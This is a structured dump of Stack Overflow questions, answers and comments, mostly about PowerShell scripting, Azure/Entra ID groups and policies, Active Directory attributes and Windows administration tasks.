score: 0

http://stackoverflow.com/comment/139913889
type: AnswerComment
has text: Yes second approch needs it, as we are uisng MemoryStream which requires .NET since it uses .NET classes for stream handling
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79341652

http://stackoverflow.com/a/79396280
answers question: http://stackoverflow.com/q/79396258
has comment: http://stackoverflow.com/comment/140018579
downvote count: 0
has body: It does exist: using "$($_.Name).png" you end up creating a file named .png because $_ is not accessible the way you wrote it and thus defaults to null which gets converted to a empty string and then hained to .png. Solution: encapsulate it in a scriptblock: Get-ChildItem *frag* | Rename-Item -NewName { "$($_.Name).png" }
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/140018358

http://stackoverflow.com/q/79250687
has comment: http://stackoverflow.com/comment/139748949
has title: Powershell alias for executable files
tagged with: powershell
has comment: http://stackoverflow.com/comment/139750829
upvote count: 1
duplicate of: http://stackoverflow.com/q/63291583
has answer: http://stackoverflow.com/a/79251787
type: UnansweredQuestion
score: 1
favorite count: 0
answer count: 2
type: Question
has answer: http://stackoverflow.com/a/79250987
has comment: http://stackoverflow.com/comment/139750849
has body: The following command starts Midnight Commander in Powershell cmd /K "C:\Program Files (x86)\Midnight Commander\mc.exe" Source :https://github.com/adamyg/mcwin32 How can I set this up so that I can start it via Alias PowerShell? ## This command does not work. Set-Alias mc "cmd /K C:\Program Files (x86)\Midnight Commander\mc.exe"
tagged with: windows
linked to: http://stackoverflow.com/q/63291583
downvote count: 0
has comment: http://stackoverflow.com/comment/139750866

http://stackoverflow.com/a/79400868
type: Answer
accepted answer of: http://stackoverflow.com/q/79400817
answers question: http://stackoverflow.com/q/79400817
score: 3
upvote count: 3
type: AcceptedAnswer
has body: There are 2 clear issues with your dynamic filter, one of them I'm not quite sure (correct me if I'm wrong) but if I recall correctly, booleans are case-sensitive, so it should be true instead of True. The other issue is that the value for country is missing quotes, as shown in the docs: Properties Allowed values Usage country Any string value or null user.country -eq "value" So, to fix this you, you should change your filter to: membershipRule = "(user.dirSyncEnabled -eq true) and (user.country -eq `"$Code`")" Because you're using an expandable string "...", to escape the inner " you can use back-ticks (`). Another option, perhaps more readable and easy to understand could be to use string interpolation via the -f operator, in this case you'd use single quotes outside: membershipRule = '(user.dirSyncEnabled -eq true) and (user.country -eq "{0}")' -f $Code
downvote count: 0

http://stackoverflow.com/comment/139755242
type: AnswerComment
has text: Are you specifically including the filter on DriveType? If you have USB external drives that are reporting as DriveType 3, it's likely because of drivers that the manufacturer uses that try to emulate a local fixed disk instead of registering as removable.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79247559

http://stackoverflow.com/comment/139901620
type: Comment
score: 0
type: QuestionComment
has text: @MathiasR.Jessen, See my edit
comment on: http://stackoverflow.com/q/79335322

http://stackoverflow.com/comment/139997073
score: 0
has text: @sln Accepts it if I reduce it down to what comes before and including [General]. Not if I add anything after. I would really like to know why it works fine on two regex checker sites, set to .NET or Powershell explicitly, and using `-match`, but not in full form using `select string`...
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79385377

http://stackoverflow.com/comment/139781967
type: Comment
has text: @SamF np! glad it helped
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79255803

http://stackoverflow.com/comment/139798456
has text: Hi @sirtao I have posted an update in the body of my question as I can never get formatting to show properly in these comments.
type: Comment
comment on: http://stackoverflow.com/a/79278092
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139845048
score: 0
comment on: http://stackoverflow.com/q/79303993
has text: Check if `setlocale(LC_ALL, "es_ES.UTF-8");` is working on your system.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139948151
has text: As an aside: `[xml] (Get-Content ...)` should be avoided, because `Get-Content` may misinterpret the character encoding of XML files. Use the `[xml]` type's `.Load()` method instead; e.g.: `($xmlDoc = [xml]::new()).Load((Convert-Path ./file.xml))` - see the bottom section of [this answer](https://stackoverflow.com/a/68087177/45375) for details.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79359466
score: 0

http://stackoverflow.com/comment/140013260
has text: Thanks for the GUI example. Seems the X is disabled in that option also, which is a plus!
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79394066
type: Comment

http://stackoverflow.com/comment/140067591
has text: Santiago, yes that is precisely what I'd like.
comment on: http://stackoverflow.com/q/79409891
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139821189
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79290835
score: 0
has text: Could you include what API permissions you granted in your app registration by adding Portal image?

http://stackoverflow.com/a/79248980
has comment: http://stackoverflow.com/comment/139746605
has comment: http://stackoverflow.com/comment/139746423
has comment: http://stackoverflow.com/comment/139746666
score: 0
has comment: http://stackoverflow.com/comment/139746551
has comment: http://stackoverflow.com/comment/139746488
has comment: http://stackoverflow.com/comment/139746351
has comment: http://stackoverflow.com/comment/139746386
has comment: http://stackoverflow.com/comment/139746439
has comment: http://stackoverflow.com/comment/139746765
has body: Explanation This technique causes the target instance of pwsh.exe to listen for a particular named event using EventWaitHandle. When that event is raised, the handler raises CTRL_C_EVENT via GenerateConsoleCtrlEvent. That seems to have the same effect as pressing CTRL+C at the console. The advantage is that another process can get a handle to and raise that event with no prerequisites aside from interpolating the target's process ID into the event name pattern. In principle this could be conditionally invoked prior to Stop-Process for a pwsh instance by testing TryOpenExisting() to see if the target has registered the handle and, if it has, raising the event and allowing some time for the target to gracefully shut down. If the target process does not shut down after a timeout, then the usual Stop-Process can be invoked to force termination. To use this technique, the part in the tags needs to be invoked in an instance of pwsh.exe for that instance to gracefully respond to the signal. The part in the tags (with the correct process ID interpolated) can then be invoked to signal the instance to stop gracefully. How is this different from a job? A job can only be stopped if you have its handle. There can be instances of pwsh running that you want to gracefully stop but you did not start and so do not have a job handle to them. This technique works without a job handle. Why not use a named pipe? Opening a connection by way of NamedPipeConnectionInfo to the target pwsh process can also be be used to raise CTRL_C_EVENT. (see Stop-PowerShellProcess here for an example.) However, doing that to a process that happens to be a job seems to cause the caller session to irrecoverably lock up with the error "The background process reported an error with the following message: "The named pipe target process has ended."." A repro of that lockup is here. It seems that something about the local session goes wrong when a remote instance of pwsh to which it is connected through a named p…
has comment: http://stackoverflow.com/comment/139745754
answers question: http://stackoverflow.com/q/79248095
has comment: http://stackoverflow.com/comment/139746375
has comment: http://stackoverflow.com/comment/139745918
has comment: http://stackoverflow.com/comment/139746425
has comment: http://stackoverflow.com/comment/139746515
has comment: http://stackoverflow.com/comment/139746520
type: Answer
has comment: http://stackoverflow.com/comment/139746735

http://stackoverflow.com/comment/139957612
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79362468
type: AnswerComment
has text: That certainly worked for that error. Unfortunately it has introduced another. Did this version have a problem with get-azautomationcredential? It's telling me that access is denied, even though I have owner to the subscription and added the credentials to the automation account myself. Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)) (Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))) I have tried using the 5.1 version of az-automation, but it hasn't made any difference.

http://stackoverflow.com/comment/139886196
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188
has text: Thank you for clarifying, I thought you might be owner on Entra. Really weird to me, I can also see my permissions on azure portal in the associated JWT har many more elements in the scope compared to what I get from `az account get-access-token`
type: Comment

http://stackoverflow.com/q/79246029
has body: The following code demonstrates that a long-running (but, in principle, cancellable) .Net method called from a job runs to completion even when the job is stopped: $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $jobRunning = [System.Threading.EventWaitHandle]::new($false,'ManualReset','event_1f242755') $job = Start-Job { $jobRunning = [System.Threading.EventWaitHandle]::new($false,'ManualReset','event_1f242755') $jobRunning.Set() [System.Threading.Tasks.Task]::Delay( 3000 # int millisecondsDelay &lt;#?#&gt; # System.Threading.CancellationToken cancellationToken ).Wait() } $jobRunning.WaitOne() | Out-Null Start-Sleep -Milliseconds 200 $job | Stop-Job | Wait-Job | Out-Null $stopwatch.Elapsed | Select-Object TotalSeconds The typical output TotalSeconds : 3.2555954 indicates that Task::Delay() waited the whole 3000ms before completing. Such .Net tasks are customarily cancellable by way of a CancellationToken provided during task creation. Task.Delay() has an overload that would accept such a token. I have had some success creating cancellation tokens by subscribing to PosixSignal.SIGINT. That event seems to be raised by CTRL+C in the console pwsh.exe. The same event, however, does not seem be raised in a pwsh.exe job. Is there an event I can subscribe to from a job that is raised when Stop-Job is invoked on that job? This answer demonstrates the use of such an event using reflection to subscribe to a non-public event. A proposal to expose such an event with a public API is here. And there is an even more elaborate proposal, RFC, and pull request. Hopefully one of these improvements makes it into PowerShell sometime soon.
tagged with: powershell-jobs
has answer: http://stackoverflow.com/a/79246073
has title: Is there an event I can subscribe to from a job that is raised when Stop-Job is invoked on that job?
downvote count: 0
tagged with: powershell
tagged with: cancellation
type: UnansweredQuestion
score: 3
tagged with: events
upvote count: 3
favorite count: 0
answer count: 2
type: Question
has answer: http://stackoverflow.com/a/79256460

http://stackoverflow.com/comment/139884250
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79325779
has text: Need more inputs. What is the output you are getting? where is the sample? what is the expected output?

http://stackoverflow.com/a/79404176
type: Answer
has body: Looking at your data structure I think you need to iterate not over the whole object but over the nested list services.groups.services.Rows. Its items are also lists, just written in a different syntax: - name: set the services yml file as a var ansible.builtin.include_vars: file: service.yml name: services - name: Apply local FW rules ansible.windows.win_powershell: script: | New-NetFirewallRule -DisplayName='{{ item[0] }}' -LocalPort '{{ item[1] }}' -Direction '{{ item[3] }} -Protocol '{{ item[2] }} -Action Allow loop: &quot;{{ services.groups.services.Rows }}&quot;
answers question: http://stackoverflow.com/q/79404173
has comment: http://stackoverflow.com/comment/140044601
downvote count: 0
score: 2
upvote count: 2

http://stackoverflow.com/q/79255591
tagged with: powershell
tagged with: azure
tagged with: microsoft-graph-api
has title: How to create dynamic groups in AzureAD/EntraID from a csv import?
upvote count: 1
tagged with: azure-active-directory
score: 1
has answer: http://stackoverflow.com/a/79255803
favorite count: 0
accepted answer: http://stackoverflow.com/a/79255803
type: Question
has body: I'm trying to create a number of dynamic groups from the department name attribute in AD, then create and add to a security group. This info would be in 2 columns in a csv (department and groupname). I put together this script but it comes back and asks if it is mailenabled and the mailnickname. I thought the -MailEnabled $false would handle this. What am I missing here? # Loop through each department in the CSV foreach ($dept in $departments) { # Get the group name from the GroupName column $groupName = $dept.GroupName # Create the dynamic group New-AzureADMSGroup -DisplayName $groupName -MailEnabled $false -SecurityEnabled $true -GroupTypes "DynamicMembership" -MembershipRule "user.department -eq '$dept.Department'" -MembershipRuleProcessingState "On" Write-Host "Created dynamic group: $groupName" }
downvote count: 0
has comment: http://stackoverflow.com/comment/139757239
answer count: 1
type: AnsweredQuestion

azure-application-registration
type: Tag
tags question: http://stackoverflow.com/q/79320969
tag name: azure-application-registration

http://stackoverflow.com/comment/139797101
score: 1
type: AnswerComment
has text: Thats awesome! Thank you so much, this fixed my problem! I finally went with this: ''$json = Get-Content $PSScriptRoot\config.json -Raw | ConvertFrom-Json $pass = Get-Content $PSScriptRoot\luxion-guests.txt $month = [datetime]::Now.ToString('MM') # `$json.PSKs.$month` would work too here $json.PSKs.PSObject.Properties[$month].Value = $pass $json | ConvertTo-Json | Set-Content $PSScriptRoot\config.json''
type: Comment
comment on: http://stackoverflow.com/a/79272658

http://stackoverflow.com/comment/139801531
has text: Where are you getting or setting `$fileName`? Can you test as `test.pgp` in place of `$fileName` and then check the output? If that works, it is really simple, just need to understand how $fileName is created, and then use `$($_.basename).pgp` or something like that—might need to enclose full path with double quotes though. Testing using a static file name first will confirm that simple name of the extension will suffice on the decrypt (and encrypt too I suppose).
score: 1
comment on: http://stackoverflow.com/q/79278740
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79329816
has comment: http://stackoverflow.com/comment/139891909
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139905418
score: 1
has answer: http://stackoverflow.com/a/79330628
has comment: http://stackoverflow.com/comment/139891960
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139891865
has comment: http://stackoverflow.com/comment/139891726
type: Question
downvote count: 0
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139891848
has comment: http://stackoverflow.com/comment/139904644
has title: PowerShell not reading comment-based help section correctly
has body: I'm having a really weird problem with help in my module. (this is the third one I'm building and the first time I'm seeing this.) Pertinent section: Having a weird comment-based help issue in a module i’m building. Currently, the help looks like: #!/usr/bin/env pwsh &lt;# .DESCRIPTION This script is a bridge between PowerShell and the AppleScript Choose File UI primitive. It allows the use of the standard macOS Choose File dialog inside a PowerShell script and returns a string array of POSIX-Compliant file paths. #&gt; &lt;rest of module&gt; But when I run Get-Help on it, it says it can’t find the help. I’m at a real loss here. This is current PowerShell running on macOS, and the other two modules i've done, I've never seen this issue before.

http://stackoverflow.com/comment/139903104
has text: I am unable to reproduce and test the CLI application part as the application is already present in my tenant
comment on: http://stackoverflow.com/q/79320969
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139809902
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79278916
score: 0
has text: As an aside: Consider the more efficient and convenient `[pscustomobject] @{ ... }` syntax for constructing custom objects - see [about_PSCustomObject](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_PSCustomObject).

http://stackoverflow.com/a/79377463
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79377371
has comment: http://stackoverflow.com/comment/139982320
has comment: http://stackoverflow.com/comment/139982222
has body: Powershell has a Type for Semantic Versioning: [semver] (and [version] for regular(?) versioning) And you do not need a whole function to sort, you can just prepare a splat with the parameters for Sort-Object # Evaluate a name with Approved Verbs function ParseVersionDetails { [CmdletBinding()] param( [Parameter(ValueFromPipeline, Mandatory)] [string]$InputString ) process { # Check if there was a match if ($InputString -match '^(?&lt;version&gt;.*?)_(?&lt;sequence&gt;\d+)_?(?&lt;scriptname&gt;.*)') { # will valorize $version with $false of the parsing fails. # otherwise it will valorize it with the parsed [semver] version number. # [ref] requires the variable being created in advance, no matter if with just $null $version = $null # suppressing the boolean output. $null = [semver]::TryParse($matches['version'], [ref]$version) [PSCustomObject]@{ Version = $version Sequence = [int]$matches['sequence'] ScriptName = $matches['scriptname'] FullName = $InputString } } } } # Splat ariable for Sort-Object . $SortParameters = @{ Property = @{Expression = { $_.Version.Major } }, @{Expression = { $_.Version.Minor } }, @{Expression = { $_.Version.Patch } }, @{Expression = { $_.Version.PreReleaseLabel } }, @{Expression = { $_.Version.BuildLabel } }, @{Expression = { $_.Sequence } } } $list = @( '7.9.0-dev-IRIS-Dyn_02_SomeScript', '7.9.0-dev-IRIS-Dyn_01_SomeScript', '7.9.1-prod-IRIS-Dyn+13_01_OtherScript', '7.8.5_02_AnotherScript', '7.8.5_01_AnotherScript', 'Made.to.fail' ) $list | ParseVersionDetails | Sort-Object @SortParameters 'Done'

http://stackoverflow.com/comment/140020629
comment on: http://stackoverflow.com/q/79395138
has text: I get: Error: The remote server returned an error: (404) Not Found. at: $Responses = Invoke-RestMethod -Uri $Uri -Headers @{ Authorization = "Bearer $AccessToken" } -Method Get
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79391773
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79391710
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140009121
downvote count: 0
has body: This driver is a Windows component, so you can just check that: [System.Environment]::OSVersion.Version Or check it like this PS C:\Users\david&gt; (Get-Item C:\Windows\System32\sqlsrv32.dll).VersionInfo.FileVersionRaw Major Minor Build Revision ----- ----- ----- -------- 10 0 26100 2033
type: Answer
answers question: http://stackoverflow.com/q/79391710
score: 1

http://stackoverflow.com/comment/140030563
type: Comment
score: 0
has text: @MathiasR.Jessen, thank you for that suggestion. A function is an excellent idea for readability.
type: AnswerComment
comment on: http://stackoverflow.com/a/79401238

http://stackoverflow.com/comment/139760055
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79254020
score: 0
has text: I can't give you the details of the job definition since it was confidential. Can I know what specific you want to check in the job definition?

http://stackoverflow.com/comment/139998948
score: 0
comment on: http://stackoverflow.com/q/79380511
has text: It may have to do with events. See following : https://learn.microsoft.com/en-us/answers/questions/1185162/graph-api-getschedule-no-longer-returns-the-correc
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140056677
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79409891
score: 0
has text: What kind of output are you expecting? Just the output from those commands into a plain text file?

http://stackoverflow.com/comment/139800133
score: 0
type: AnswerComment
type: Comment
has text: Sure will check:)
comment on: http://stackoverflow.com/a/79274662

http://stackoverflow.com/comment/139914686
score: 0
type: AnswerComment
type: Comment
has text: @FamEliteGamer See update to my answer regarding getting the other bits of info.
comment on: http://stackoverflow.com/a/79340091

http://stackoverflow.com/comment/139746437
has text: Exactly your guess, both counts return '1': https://imgur.com/a/OfmidE2
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79246610
type: QuestionComment

http://stackoverflow.com/a/79400335
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/79381754
has body: If you're using Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) and your $inputFile's encoding is BOM-less UTF-8, you'll need to pass -Encoding utf8 to your Get-Content call to ensure that the file is interpreted correctly. The reason is that Get-Content in Windows PowerShell, in the absence of a BOM, defaults to the legacy system locale's ANSI code page (character encoding) and therefore misinterprets BOM-less UTF-8 files. Also note that using -Encoding utf8 with file-writing cmdlets in Windows PowerShell, such as Set-Content and Out-File (whose virtual alias is &gt;), invariably creates UTF-8 files with a BOM, and workarounds are needed to create BOM-less UTF-8 files. Note that neither problem affects PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition), which commendably now consistently defaults to (BOM-less) UTF-8. For more information, see this answer.
accepted answer of: http://stackoverflow.com/q/79381754
score: 1

http://stackoverflow.com/comment/139829889
type: Comment
comment on: http://stackoverflow.com/a/79292277
score: 0
type: AnswerComment
has text: When you execute those code that I provided, are you sure that you set edge to default browser for PDFs?

http://stackoverflow.com/comment/139800615
has text: Yeah, I'm obviously not a PS expert. thanks for the link. I tried adding the , but no luck. You mentioned an odd workaround-- how should I have done it? I cobbled this together from other scripts.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79278916

http://stackoverflow.com/a/79277791
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: This PowerShell script enables or disables WiFi or Bluetooth on Windows using the Windows.Devices.Radios namespace via WinRT APIs. Below is a detailed explanation of the script and how it works. # script to enable/disable WiFi or bluetooth in Windows # carsten.giese@googlemail.com cls Remove-Variable * -ea 0 $ErrorActionPreference = 'stop' $newStatus = 'On' # On/Off Add-Type -AssemblyName System.Runtime.WindowsRuntime $methods = [System.WindowsRuntimeSystemExtensions].GetMethods() foreach($m in $methods) { if ($m.Name -ne 'AsTask') {continue} if ($m.GetParameters().Count -ne 1) {continue} if ($m.GetParameters()[0].ParameterType.Name -ne 'IAsyncOperation`1') {continue} $asTaskGeneric = $m break } function await($task, $type) { $asTask = $asTaskGeneric.MakeGenericMethod($type) $netTask = $asTask.Invoke($null, $task) $null = $netTask.Wait(-1) $netTask.Result } $radio = [Windows.Devices.Radios.Radio] $rList = [System.Collections.Generic.IReadOnlyList[Windows.Devices.Radios.Radio]] $status = [Windows.Devices.Radios.RadioAccessStatus] $null = [Windows.Devices.Radios.Radio,Windows.System.Devices,ContentType=WindowsRuntime] $null = Await -task $radio::RequestAccessAsync() -type $status $radios = Await -task $radio::GetRadiosAsync() -type $rList $wifi = $radios | where {$_.Kind -eq 'WiFi'} $null = Await -task $wifi.SetStateAsync($newStatus) -type $status # $bt = $radios | where {$_.Kind -eq 'Bluetooth'} # $null = Await -task $bt.SetStateAsync($newStatus) -type $status Explanation of the Code Logic Setting the Desired Status: The $newStatus variable is set to 'On' or 'Off' to indicate whether the radio (WiFi/Bluetooth) should be enabled or disabled. Loading Required Assemblies: The script loads the System.Runtime.WindowsRuntime assembly, which is necessary for accessing WinRT APIs. Finding the AsTask Method: The AsTask method converts asynchronous operations (IAsyncOperation&lt;T&gt; in WinRT) into .NET Task objects. The script dynamically identifies the correct overload of A…
accepted answer of: http://stackoverflow.com/q/79277790
answers question: http://stackoverflow.com/q/79277790
score: 1
upvote count: 1

http://stackoverflow.com/comment/140021663
has text: Are you getting an exception for the second yes?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79398108

http://stackoverflow.com/q/79377371
tagged with: code-reuse
score: 1
has answer: http://stackoverflow.com/a/79377660
accepted answer: http://stackoverflow.com/a/79377660
tagged with: sorting
has answer: http://stackoverflow.com/a/79377962
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79377463
linked to: http://stackoverflow.com/q/77635452
answer count: 3
possible better answer: http://stackoverflow.com/a/79377463
has title: Reusable sort-function in PowerShell
type: Question
downvote count: 0
tagged with: powershell
has body: I have a list of strings containing the names of scripts. I need to check the versions of these scripts in order to figure out whether they have a version lower than the latest executed version and to only execute those scripts with a version number higher than the latest version, in order of the script sequence for that version. I also have a list of strings for the already executed scripts, so in order to determine the latest script, that list needs to be sorted. Thus, I wrote some code to parse the version details from these strings and wanted to sort both lists with the same "function" - but I can't get the sorting to work. The Sort-Object part works when I call it directly, but not with the function Sort-Scripts. I am new to PowerShell, so I must be overlooking something fundamental. But I can't figure out what. function Get-SemVer($version) { $version -match '^(?<major>\d+)(\.(?<minor>\d+))?(\.(?<patch>\d+))?(\-(? [0-9A-Za-z\-\.]+))?(\+(?<build>[0-9A-Za-z\-\.]+))?$' | Out-Null if ($matches) { [PSCustomObject]@{ Major = [int]$matches['major'] Minor = [int]$matches['minor'] Patch = [int]$matches['patch'] PreReleaseLabel = [string]$matches['pre'] BuildLabel = [string]$matches['build'] } } } function ParseVersionDetails { param([string]$InputString) if ($InputString -match '^(?<version>.*?)_(?<sequence>\d+)_?(?<scriptname>.*)') { [PSCustomObject]@{ Version = Get-SemVer $matches['version'] Sequence = [int]$matches['sequence'] ScriptName = $matches['scriptname'] FullName = $InputString } } } function Sort-Scripts { process { @($Input) | Sort-Object -Property @{Expression={$_.Version.Major}}, @{Expression={$_.Version.Minor}}, @{Expression={$_.Version.Patch}}, @{Expression={$_.Version.PreReleaseLabel}}, @{Expression={$_.Version.BuildLabel}}, @{Expression={$_.Sequence}} } } $list = @( "7.9.0-dev-IRIS-Dyn_02_SomeScript", "7.9.0-dev-IRIS-Dyn_01_SomeScript", "7.9.1-prod-IRIS-Dyn+13_01_OtherScript", "7.8.5_02_AnotherScript", "7.8.5_01_AnotherScript" ) "#### Doesn't work" $…
type: AnsweredQuestion

http://stackoverflow.com/q/79395049
has answer: http://stackoverflow.com/a/79396078
type: Question
has comment: http://stackoverflow.com/comment/140015845
accepted answer: http://stackoverflow.com/a/79396078
answer count: 1
has title: transfer the files from sub folder and sub folders recursively without specifying the folder name
tagged with: powershell
type: AnsweredQuestion
score: 0
has body: I have a PowerShell script that copies the files that starts with 4 digits from source directory to destination directory. The destination directory never changes. Below is the script and it works well: Get-ChildItem -Recurse -File -LiteralPath D:\Test | Where-Object { $_.Name -match '^\d{4}' } | Copy-Item -Destination D:\transferTo\ Is it possible that I don't need to change the subfolder and sub sub folder every time and the PowerShell script gets the source folder in the loop so for eg. I have two screen shots below: Test1 is a sub folder inside test folder. I manually specified the folder D:\test and then I need to again manually change the path to transfer the files from D:\Test\Test1. Can this be done recursively without manual changes. I tried doing this: Get-ChildItem -Recurse -File -LiteralPath D:*.* | Where-Object { $_.Name -match '^\d{4}' } | Copy-Item -Destination D:\transferTo\ Putting . so that it gets all the folders, sub folders and sub sub folders, but I get an error with this:

http://stackoverflow.com/comment/140022328
has text: @jdweng: Launching a process from the [Windows shell](https://en.wikipedia.org/wiki/Windows_shell) in an _interactive window station_ makes an `explorer.exe` process the parent process. When a process is launched from a noninteractive context such as a _service_, e.g. the Task Scheduler or PowerShell remoting, the parent process is an instance of a `svchost` process. Launching a process from an application process makes the former a _child process_ of the latter by default. The question at hand is how _not_ to make the launched process a child process of the calling one.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79374832
score: 0

http://stackoverflow.com/comment/139988925
has text: Thank you for the quick fix! Didn't notice the double quotes, I am going crazy because of PowerShell syntax, thank you so much
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79381204
type: AnswerComment

http://stackoverflow.com/a/79247559
score: 0
has comment: http://stackoverflow.com/comment/139751677
has comment: http://stackoverflow.com/comment/139755242
has body: You didn’t specify whether you’re using Windows PowerShell 5.1 or PowerShell 7.*; this works on both: Get-CIMInstance -Class Win32_LogicalDisk -Filter "DriveType = 3"| Select-Object -Property DeviceID,VolumeName This will return the drive letter and the volume name for each internal drive. The details of the Win32_LogicalDisk class are documented at https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-logicaldisk The DriveType values documented are Description Value Unknown 0 No Root Directory 1 Removable Disk 2 Local Disk 3 Network Drive 4 Compact Disc 5 RAM Disk 6 Get-CIMInstance is documented at https://learn.microsoft.com/en-us/powershell/module/cimcmdlets/get-ciminstance?view=powershell-5.1 for Windows PowerShell 5.1 or https://learn.microsoft.com/en-us/powershell/module/cimcmdlets/get-ciminstance?view=powershell-7.4 for PowerShell 7.*
answers question: http://stackoverflow.com/q/79245750
type: Answer

http://stackoverflow.com/comment/140016537
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79395563
score: 1
has text: It's better if you post the actual script instead of vague representations of it

http://stackoverflow.com/comment/139850903
comment on: http://stackoverflow.com/q/79307364
type: QuestionComment
type: Comment
score: 0
has text: yea, i changed for the post, but i use the name of the local computer

http://stackoverflow.com/q/79322753
has answer: http://stackoverflow.com/a/79322834
tagged with: powershell
type: UnansweredQuestion
tagged with: azure
score: 0
has comment: http://stackoverflow.com/comment/139883685
has title: Azure Policy Definition using Powershell
tagged with: azure-policy
tagged with: azure-powershell
has comment: http://stackoverflow.com/comment/139883670
has comment: http://stackoverflow.com/comment/139950104
type: Question
has comment: http://stackoverflow.com/comment/139878756
has comment: http://stackoverflow.com/comment/139879097
has body: I am trying to create az azure policy definition using powershell and I am receiving the following error. New-AzPolicyDefinition_CreateExpanded : Failed to parse policy rule: 'Error converting value "@{effect=audit}" to type 'Microsoft.WindowsAzure.Governance.PolicyService.Policy.Expression.Schema.EffectExpressionDefinition'. Path 'then'.'. At C:\Program Files\WindowsPowerShell\Modules\Az.Resources\7.2.0\Policy.Autorest\custom\New-AzPolicyDefinition.ps1:256 char:19 + $scriptCmd = {& $wrappedCmd @calledParameters} + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: ({ }:<>f__AnonymousType1) [New-AzPolicyDefinition_CreateExpanded], Exception + FullyQualifiedErrorId : InvalidPolicyRule,Microsoft.Azure.PowerShell.Cmdlets.Policy.Cmdlets.NewAzPolicyDefinition_CreateExpanded I tried sample: AuditStorageAccounts.json "if": { "allOf": [ { "field": "type", "equals": "Microsoft.Storage/storageAccounts" }, { "field": "Microsoft.Storage/storageAccounts/networkAcls.defaultAction", "equals": "Allow" } ] }, "then": { "effect": "audit" } } Powershell Script: New-AzPolicyDefinition -Name 'TestAuditStorageAccounts' ` -DisplayName 'Test - Audit Storage Accounts Open to Public Networks' ` -Policy 'AuditStorageAccounts.json' I would like to create an azure policy definition programatically to assign tag to azure resources.
has comment: http://stackoverflow.com/comment/139879191
answer count: 1

http://stackoverflow.com/a/79370568
type: Answer
has body: Is that "Pages" a folder of you site pages library? From the Get-PnPPage examples: EXAMPLE 3 Get-PnPPage "Templates/MyPageTemplate" Gets the page named 'MyPageTemplate.aspx' from the templates folder of the Page Library in the current SharePoint site "pages" should be a folder of the Page library.
answers question: http://stackoverflow.com/q/79355601
score: 0
has comment: http://stackoverflow.com/comment/139975418

http://stackoverflow.com/q/79378997
answer count: 2
has answer: http://stackoverflow.com/a/79379137
tagged with: attributes
possible better answer: http://stackoverflow.com/a/79379137
tagged with: active-directory
type: Question
has body: I'm trying to change the "costCenter" attribute. I noticed in the Schema the description was originally "Cost Center". I thought maybe the space was an issue so changed it to "Cost-Center". The attribute name is "costCenter". I have no idea what I'm missing here. Any help appreciated. Below is the script: Import-Module ActiveDirectory $Attribcsv=Import-csv "C:\Temp\ADUsers_BulkEdit.csv" ForEach ($User in $Attribcsv) { Get-ADUser -Identity $User.samAccountName | set-ADUser -"Cost-Center" $($User.costCenter) } The error that keeps spitting out is below: Set-ADUser : A positional parameter cannot be found that accepts argument 'MM'. At line:5 char:45 + ... $User.samAccountName | set-ADUser -"Cost-Center" $($User.costCenter) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidArgument: (:) [Set-ADUser], ParameterBindingException + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.ActiveDirectory.Management.Commands.SetADUser I've run the script with different attributes--for testing purposes--successfully: Using the "description" attribute under the General tab in AD Using the "comment" attribute under the Attribute Editor tab in AD Both of those worked successfully
has answer: http://stackoverflow.com/a/79379068
accepted answer: http://stackoverflow.com/a/79379068
tagged with: powershell
has comment: http://stackoverflow.com/comment/139984918
type: AnsweredQuestion
has title: Windows PowerShell error when attempting to bulk edit the Cost Center (costCenter) attribute
score: 0

http://stackoverflow.com/comment/139922837
has text: Please follow this link to specify the Service Principal's Application ID: https://learn.microsoft.com/en-us/powershell/module/az.resources/new-azroleassignment?view=azps-13.0.0#example-5
type: QuestionComment
comment on: http://stackoverflow.com/q/79346257
type: Comment
score: 0

microsoft-graph-intune
